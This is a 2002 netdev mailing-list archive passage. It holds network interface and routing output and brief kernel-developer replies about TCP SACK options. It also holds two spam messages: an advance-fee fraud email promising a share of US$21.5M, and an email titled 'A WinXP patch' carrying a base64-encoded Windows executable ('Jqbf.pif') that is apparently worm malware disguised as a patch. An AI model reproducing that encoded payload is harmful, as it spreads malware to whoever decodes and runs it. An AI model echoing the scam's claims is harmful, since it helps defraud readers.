dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:336578 (328.6 Kb) TX bytes:290474 (283.6 Kb) Interrupt:50 Base address:0x2000 Memory:fe180000-fe180038 eth1 Link encap:Ethernet HWaddr 00:02:B3:9C:F5:9E inet addr:192.168.4.1 Bcast:192.168.4.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:74893662 errors:3 dropped:3 overruns:0 frame:0 TX packets:100464074 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:1286843881 (1227.2 Mb) TX bytes:2106085286 (2008.5 Mb) Interrupt:61 Base address:0x1200 Memory:fc020000-0 eth2 Link encap:Ethernet HWaddr 00:02:B3:A8:35:C1 inet addr:192.168.2.1 Bcast:192.168.2.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:54 Base address:0x1220 Memory:fc060000-0 eth3 Link encap:Ethernet HWaddr 00:02:B3:A3:47:E7 inet addr:192.168.3.1 Bcast:192.168.3.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:50054881 errors:0 dropped:0 overruns:0 frame:0 TX packets:67122955 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:3730406436 (3557.5 Mb) TX bytes:3034087396 (2893.5 Mb) Interrupt:44 Base address:0x2040 Memory:fe120000-0 eth4 Link encap:Ethernet HWaddr 00:02:B3:A3:46:F9 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:48 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:7342 (7.1 Kb) TX bytes:256 (256.0 b) Interrupt:36 Base address:0x2060 Memory:fe160000-0 eth5 Link encap:Ethernet HWaddr 00:02:B3:A3:47:88 inet addr:192.168.5.1 Bcast:192.168.5.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:149206960 errors:2861 dropped:2861 overruns:0 frame:0 TX packets:200247016 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2530107402 (2412.8 Mb) TX bytes:3331495154 (3177.1 Mb) Interrupt:32 Base address:0x3000 Memory:fe420000-0 eth6 Link encap:Ethernet HWaddr 00:02:B3:9C:F5:A0 inet addr:192.168.6.1 Bcast:192.168.6.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:13 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:832 (832.0 b) TX bytes:640 (640.0 b) Interrupt:28 Base address:0x3020 Memory:fe460000-0 eth7 Link encap:Ethernet HWaddr 00:02:B3:A3:47:39 inet addr:192.168.7.1 Bcast:192.168.7.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:151162569 errors:2993 dropped:2993 overruns:0 frame:0 TX packets:202895482 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:2673954954 (2550.0 Mb) TX bytes:2456469394 (2342.6 Mb) Interrupt:24 Base address:0x4000 Memory:fe820000-0 eth8 Link encap:Ethernet HWaddr 00:02:B3:A3:47:87 inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:0 (0.0 b) TX bytes:256 (256.0 b) Interrupt:20 Base address:0x4020 Memory:fe860000-0 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:100 errors:0 dropped:0 overruns:0 frame:0 TX packets:100 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:8696 (8.4 Kb) TX bytes:8696 (8.4 Kb) *************** * netstat -rn * *************** Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.7.0 0.0.0.0 255.255.255.0 U 40 0 0 eth7 192.168.6.0 0.0.0.0 255.255.255.0 U 40 0 0 eth6 192.168.5.0 0.0.0.0 255.255.255.0 U 40 0 0 eth5 192.168.4.0 0.0.0.0 255.255.255.0 U 40 0 0 eth1 192.168.3.0 0.0.0.0 255.255.255.0 U 40 0 0 eth3 192.168.2.0 0.0.0.0 255.255.255.0 U 40 0 0 eth2 192.168.1.0 0.0.0.0 255.255.255.0 U 40 0 0 eth4 9.3.192.0 0.0.0.0 255.255.255.0 U 40 0 0 eth0 192.168.8.0 0.0.0.0 255.255.255.0 U 40 0 0 eth8 127.0.0.0 0.0.0.0 255.0.0.0 U 40 0 0 lo 0.0.0.0 9.3.192.1 0.0.0.0 UG 40 0 0 eth0 From niv@us.ibm.com Fri Sep 6 17:14:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 17:14:17 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g870EBtG022901 for ; Fri, 6 Sep 2002 17:14:11 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g870IIEG054058; Fri, 6 Sep 2002 20:18:18 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g870IFtW104618; Fri, 6 Sep 2002 20:18:16 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 6F3613FE06; Fri, 6 Sep 2002 20:18:17 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id B66D123C00D; Fri, 6 Sep 2002 20:18:16 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Fri, 6 Sep 2002 17:18:16 -0700 Message-ID: <1031357896.3d7945c875a7e@imap.linux.ibm.com> Date: Fri, 6 Sep 2002 17:18:16 -0700 From: Nivedita Singhvi To: Troy Wilson Cc: jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <200209062356.g86Nu4Gk016944@tempest.prismnet.com> In-Reply-To: <200209062356.g86Nu4Gk016944@tempest.prismnet.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 139 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting Troy Wilson : > > Do you have any stats from the hardware that could show > > retransmits etc; Troy, Are tcp_sack, tcp_fack, tcp_dsack turned on? thanks, Nivedita From tcw@tempest.prismnet.com Fri Sep 6 17:23:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 17:23:23 -0700 (PDT) Received: from tempest.prismnet.com (root@tempest.prismnet.com [209.198.128.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g870NLtG023316 for ; Fri, 6 Sep 2002 17:23:21 -0700 Received: from tempest.prismnet.com (tcw@localhost [127.0.0.1]) by tempest.prismnet.com (8.12.5/8.12.5) with ESMTP id g870RXwf017283; Fri, 6 Sep 2002 19:27:33 -0500 (CDT) (envelope-from tcw@tempest.prismnet.com) Received: (from tcw@localhost) by tempest.prismnet.com (8.12.5/8.12.5/Submit) id g870RXFc017282; Fri, 6 Sep 2002 19:27:33 -0500 (CDT) From: Troy Wilson Message-Id: <200209070027.g870RXFc017282@tempest.prismnet.com> Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <1031357896.3d7945c875a7e@imap.linux.ibm.com> "from Nivedita Singhvi at Sep 6, 2002 05:18:16 pm" To: Nivedita Singhvi Date: Fri, 6 Sep 2002 19:27:33 -0500 (CDT) CC: jamal , linux-kernel@vger.kernel.org, netdev@oss.sgi.com X-Mailer: ELM [version 2.4ME+ PL82 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII X-archive-position: 140 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tcw@tempest.prismnet.com Precedence: bulk X-list: netdev > Are tcp_sack, tcp_fack, tcp_dsack turned on? tcp_fack and tcp_dsack are on, tcp_sack is off. - Troy From jdmulete@netscape.net Sat Sep 7 04:54:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Sep 2002 04:54:40 -0700 (PDT) Received: from oss.sgi.com (node-c-07f1.a2000.nl [62.194.7.241]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g87BsWtG001071 for ; Sat, 7 Sep 2002 04:54:34 -0700 Message-Id: <200209071154.g87BsWtG001071@oss.sgi.com> From: "EDWARD MULETE" Date: Sat, 07 Sep 2002 13:58:44 To: netdev@oss.sgi.com Subject: URGENT ASSISTANCE MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-archive-position: 141 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jdmulete@netscape.net Precedence: bulk X-list: netdev ATTN: I am Edward Mulete JR. the son of Mr. STEVE MBEKI MULETE from Zimbabwe. I am sorry this mail Will surprise you, though we do not know, my mother Mrs. Clara Got your contact through her private search. Due to the current war against white farmers in Zimbabwe and the support of President Robert Mugabe to Claim all white owned farms in our country to gain Favor for re-election. All white farmers were asked to Surrender their farms to the government for Re-distribution and infact to his political party Members and my father though black was the treasury of the farmers association and a strong member of an Opposition party that did not support the president Idea. He then ordered his party members and the police Under his pay row to invade my father's farm and burn Down everything in the farm. They killed my Father and took away a lot of items from his farm. After the death of my father, our local pastor and a Close friend of my father handed us over will Documents with instructions from my father that we Should leave Zimbabwe incase anything happen to him. The will Documents has a certificate of deposit, confirming a deposit Kept in custody for us in a security company unknown To the company that the content is money hence it was deposited as Personal belongings and ensure that we do not remain here as we could Easily be found by his enemies. The total amount is US$21.5M.We are therefore soliciting for Your assistance to help us move the fund out of Zimbabwe, as our fate and future is far from reality, hence this mail to you. The president's present ban of International Press into Zimbabwe and the drop from office of the Finance Minister to avoid giving white farmers fund Transfer Clearance above US$1M is just a few of the Unthinkable things he is committing in my Country. I have tried to reach my father's close friend Mr. John Casahans from Australia also a farmer who was Leaving in Zimbabwe with us but left with his family Late last year following this ugly development to no Avail. Should you be interested to help us, contact me Immediately via email for easy communication and I Will furnish you with the time frame and modalities of the transaction. We have concluded a wonderful plan of Caring out the transfer within two weeks. Please note that This transaction is100% confidential and risk free and will Not endanger you or us in any way. We have resolved to give you 20% Of the total sum upon confirmation of the fund in any Account of your choice were the incident of taxation will not take much tool on the money and we look Forward to coming over to your country to invest our Share and settle there. I will a private Phone so that our conversation can be 100% confidential. Please do not use the reply button, reply only to jdmulete7@netscape.net Please take note. God bless you indeed as you help yourself and us. Mr. EDWARD MULETE PLEASE REPLY TO jdmulete7@netscape.net From kornosz@berti.pl Sat Sep 7 06:49:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Sep 2002 06:49:23 -0700 (PDT) Received: from forward.ie.com.pl (forward.ie.com.pl [213.77.58.4]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g87DnDtG004049 for ; Sat, 7 Sep 2002 06:49:14 -0700 Received: from Zvm [66.73.160.79] by forward.ie.com.pl (SMTPD32-6.06) id A00EA8C600F8; Sat, 07 Sep 2002 15:33:02 +0200 From: support To: netdev@oss.sgi.com Subject: A WinXP patch MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=JX9B723k1m6247sb1270X8y1Oj6xCv525579A Message-Id: <200209071533390.SM00138@Zvm> Date: Sat, 7 Sep 2002 15:38:03 +0200 X-archive-position: 142 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: support@sis.com.tw Precedence: bulk X-list: netdev --JX9B723k1m6247sb1270X8y1Oj6xCv525579A Content-Type: text/html; Content-Transfer-Encoding: quoted-printable Hi,This is a WinXP patch
I hope you would like it. --JX9B723k1m6247sb1270X8y1Oj6xCv525579A Content-Type: application/octet-stream; name=Jqbf.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 